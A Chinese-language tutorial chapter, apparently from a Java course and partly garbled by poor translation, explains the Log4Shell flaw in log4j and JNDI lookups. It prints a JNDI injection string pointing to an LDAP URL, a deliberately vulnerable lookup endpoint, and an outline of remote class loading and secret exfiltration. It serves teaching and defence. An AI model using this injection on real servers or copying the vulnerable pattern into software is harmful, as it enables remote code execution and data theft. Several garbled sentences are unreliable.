7.1 丑闻

当然,不可能不讲述最近发生的故事——发生在 2021 年底。

Log4Shell

美国网络安全和基础设施保护局 (CISA) 表示,该问题Log4Shell是历史上最严重的漏洞之一。是的,我们正在谈论我们最喜欢的图书馆log4j

我们舒适的小图书馆log4j 和历史上最大的漏洞?感兴趣吗?然后听。

7.2 灾害规模

Log4ShellLunasec 安全专家于 2021 年 12 月 9 日宣布发现了一个严重漏洞(代码 CVE-2021-44228)。Apache Security Team Java 社区的专家已验证此信息并发布了易受攻击的 Java 库列表。名单非常庞大。

如果一个 Java 项目使用了一个库log4j,那么它很容易被黑客攻击。据安全专家称,鉴于几乎所有服务器软件都是用最流行的 java 记录器编写的Javalog4j该漏洞影响了 93% 的企业云环境。包括 Amazon AWS、Microsoft Azure、Google Cloud、Cloudflare、iCloud、Minecraft、Steam 等

而且,该漏洞不仅影响服务器软件,还影响许多Java应用程序,以及硬件制造商。例如,英特尔发布了一份包含 32 个可破解程序的列表:SDK、服务器维护系统、Linux 工具。

Nvidia 还发布了一份安全问题报告,其中提到了 DGX 服务器和 NetQ 工具。苹果和微软紧急发布了多项更新。

粗略地说,学生浏览器地址栏中的一行如果该行被记录器吃掉(在许多服务器上,所有内容都被记录HTTP-requests),则放置服务器。

分析代码后发现,该漏洞自 2013 年以来一直存在于库中,但他们现在才注意到。当他们开始更深地挖掘时,他们发现了一个深渊,根本看不到底部。

7.3 史上最严重漏洞

早在 2021 年 12 月,美国网络安全和基础设施保护局 (CISA) 就表示Log4Shell是历史上最严重的漏洞之一

许多其他专家也表达了类似的观点。每个人都知道这个漏洞,各个年龄段的黑客都已经在使用它来窃取个人数据和对各种组织进行其他类型的攻击。在未来,我们正在等待一波大规模的黑客攻击和数据泄露。

灾难的规模甚至可以通过以下事实来衡量:有一个单独的站点包含关于 Log4j 的模因,并且每天都有新图片。

这个问题困扰我们很久了。数百万甚至数亿计算机系统中的安全漏洞。所有旧软件都需要更新,至少要替换这个库。但在大多数情况下,甚至没有人知道他们的软件中使用了哪些库和哪些版本。

总的来说,我们预计计算机安全专家的薪水会大幅增加。

7.4 脆弱性的性质

要了解漏洞的本质,您需要了解大型服务器系统是如何安排的。通常这样的服务器应用程序被分解成位于不同服务器上的不同服务。而 JNDI 服务帮助它们进行交互。

Java 命名和目录接口 (JNDI)Java API按名称查找对象/服务。这些对象可以存储在各种命名服务或目录中,例如远程方法调用 (RMI)、通用对象请求代理架构 (CORBA)、轻量级目录访问协议 (LDAP) 或域名服务 (DNS)。

使用它非常简单——它很简单,Java API只需要一个字符串参数——服务的名称。有了它,您可以联系任何服务并要求他做某事和/或发送一些数据。例如,string${jndi:ldap://example.com/file}将从 thisURL中指定的字符串中加载数据。

如果参数来自不受信任的来源,则可能导致远程类加载和第三方代码执行。的情况下会发生什么Log4j。攻击者只需将受害者的 Java 应用程序定向到恶意应用程序rmi/ldap/corba-server并接收恶意对象作为响应。

从技术上讲,这里的问题不在于log4j库本身,而在于使用JNDI-service. 你总是需要检查我们传递给什么样的字符串InitialContext.lookup()

易受攻击的例子JNDI-applications


@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 太聪明的图书馆

你在哪里log4j问?问题是它的开发人员希望尽可能舒适地使用它并向其添加智能日志记录。它是这样工作的:

这一切都始于这样一个事实,即日志消息允许您设置一个替换数据的模板,例如:


log.debug(“User {user} has {count} friends”, user, count);

没有数据替换的旧版本如下所示:


log.debug( “User “+user +” has “+ count +” friends”);

2013年,库中也加入了视图模板指定的智能前缀替换${prefix:name}。例如,字符串“${java:version}”将被转换为«Java version 1.7.0_67». 哦,多么方便。

在可识别的表达式中,${jndi:<lookup>}您可以在 jndi 协议之后指定搜索通过的位置LDAPURL-address可以查询和加载任意对象数据Java

这是整个方法的一个标准问题JDK:它自动反序列化一个对象,可以以 url 的形式设置一个链接。在这种情况下,不仅要从远程资源加载对象的数据,还要加载其类的代码。

黑客看起来像这样:

  • 下载带有恶意代码的文件
  • 文件包含序列化Java an object(及其类)
  • 课程正在加载Java-machine
  • 创建了一个恶意类的对象
  • 对象的构造函数被调用
  • 构造函数和静态初始化都允许执行恶意类代码

如果正在记录的行中log4j有类似内容${jndi:ldap://example.com/file},那么当连接到 Internet 时log4j它将从中下载数据URL-address。通过输入记录的字符串,攻击者可以下载并执行托管在公共URL-address.

即使禁用了数据执行,攻击者也可以获取数据,例如秘密环境变量,方法是将其放置在 中URL-address,替换它并将其发送到攻击者的服务器。

好消息是这个问题很快就在库中解决了

坏消息是全球数百万台服务器仍在运行这个库的旧版本......